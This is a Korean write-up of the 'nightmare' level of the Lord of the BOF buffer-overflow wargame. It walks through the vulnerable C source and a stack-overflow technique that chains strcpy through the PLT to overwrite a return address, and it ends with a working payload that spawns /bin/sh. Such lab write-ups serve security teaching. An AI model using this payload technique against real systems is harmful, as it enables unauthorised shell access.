[LOB] succubus
/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
}
코드를 확인하면,
1. strcpy함수 주소가 argv[1]+44에 들어가야 한다.
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
buffer의 크기가 40bytes이고, sfp가 4bytes이고
gdb로 파일을 확인한 결과 변수 *addr, buffer 총길이 44bytes로 dummy값도 없다.
👉 RET에 strcpy함수 주소가 들어가야 한다.
2. strcpy(buffer,argv[1]);에서 입력값에 대해서 길이를 검증하지 않아서 버퍼오버플로우가 일어난다.
3. memset(buffer+40+8, 'A', 4); 에서 buffer주소에서 +40bytes + 8bytes(sfp + ret) 이후 4bytes에 'A'가 들어간다.
👉 RTL로 변조를 못하도록 막았다...
4. 그리고 문제 힌트를 확인해 보면 PLT가 있다.
* PLT는 외부 프로시저를 연결해 주는 테이블로, PLT를 통해서 다른 라이브러리에 있는 프로시저를 호출해서 사용할 수 있다.
이 문제에서
strcpy의 RET를 조작하는 RTL방식으로 문제를 풀고 싶지만,
memset(buffer+40+8, 'A', 4);
위의 코드에 따라 AAAA로 덮어써지기 때문에 다른 방식을 이용해야 한다.
문제해결을 위해 사용할 수 있는 곳이 strcpy이다!
strcpy 함수에 대해 찾아보면, 아래와 같다. 즉, string2 주소에서 string1 주소로 값을 복사한다.
char *strcpy(char *string1, const char *string2);
페이로드
buffer + sfp (44bytes)
+ ret(4bytes) ☞ strcpy 주소
+ strcpy의 ret ☞ AAAA로 덮어 써짐
+ arg1
+ arg2
위의 페이로드에서 buffer로 RET를 바로 조작할 수 없지만,
main함수가 실행된 이후에 RET에 strcpy 주소가 들어가 면서 strcpy가 실행되기 때문에,
strcpy에 의해서는 RET조작이 가능하다!(memset으로 초기화 이후 strcpy가 실행됨)
또한, strcpy가 주소값으로 복사할 곳을 지정하기 때문에
strcpy(복사받을 주소(destination), 복사할 주소(source))
strcpy RET 위치로 목적지를 지정하고 system함수가 있는 주소를 출발지로 해서 덮어 쓰면 된다! (system함수는 buffer에 넣는다)
strcpy(strcpy RET주소, system함수가 있는 주소=buffer주소)
stack으로 그리면 아래와 같다.
[페이로드]
buffer + sfp (44bytes) ☞ system() 주소 + dummy(4bytes) + "/bin/sh"주소 + dummy(32bytes)
+ ret(4bytes) ☞ strcpy 주소
+ strcpy의 ret ☞ AAAA로 덮어 써짐
+ arg1 ☞ buffer+48주소 : 덮어 쓰일 주소
+ arg2 ☞ buffer 주소 : 덮어쓸 주소
이제 필요한 정보를 확인해 보면,
1) system 함수의 주소
☞ 0x40058ae0
2) /bin/sh 주소
- get_addr.c 코드 내용 :
#include <stdio.h>
#include <string.h>
int main()
{
long system=0x40058ae0;
while (memcmp((void*)system,"/bin/sh\x00",8))
{
system++;
}
printf("/bin/sh : %x\n",system);
return 0;
}
☞ /bin/sh 주소 : 0x400fbff9
3) strcpy 주소 :
☞ 0x8048410
3) buffer 주소 :
./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"C"*4+"D"*4+"E"*4'`
를 실행하여 core를 dump한 후에
$ gdb -q -c core
로 core 파일을 확인해 본다.
(gdb) x/1000x $esp-100
으로 보면,
buffer 주소 확인이 가능하다
☞ 0xbffffa90
4) buffer +48 = 0xbffffac0
buffer + sfp (44bytes) ☞ system()주소(0x40058ae0) + dummy(AAAA) + /bin/sh주소(0x400fbff9) +dummy(32bytes)
+ ret(4bytes) ☞ strcpy 주소 (0x8048410)
+ strcpy의 ret ☞ AAAA로 덮어 써짐
+ arg1 ☞ buffer+48주소 : 덮어쓰일 주소 (0xbffffac0)
+ arg2 ☞ buffer 주소 : 덮어쓸 주소 (0xbffffa90)
최종 페이로드 :
./nightmare `python -c 'print "\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"+"A"*32+"\x10\x84\x04\x08"+"BBBB"+"\xc0\xfa\xff\xbf"+"\x90\xfa\xff\xbf"'`
실행 결과 :
성공!...
처음에 이문제를 어떻게 풀어야 할지 막막했는데 함수의 순서만 파악하면 쉽게 풀 수 있는 거였다...
모든 단서를 생각해보자
Reference : https://marcokhan.tistory.com/218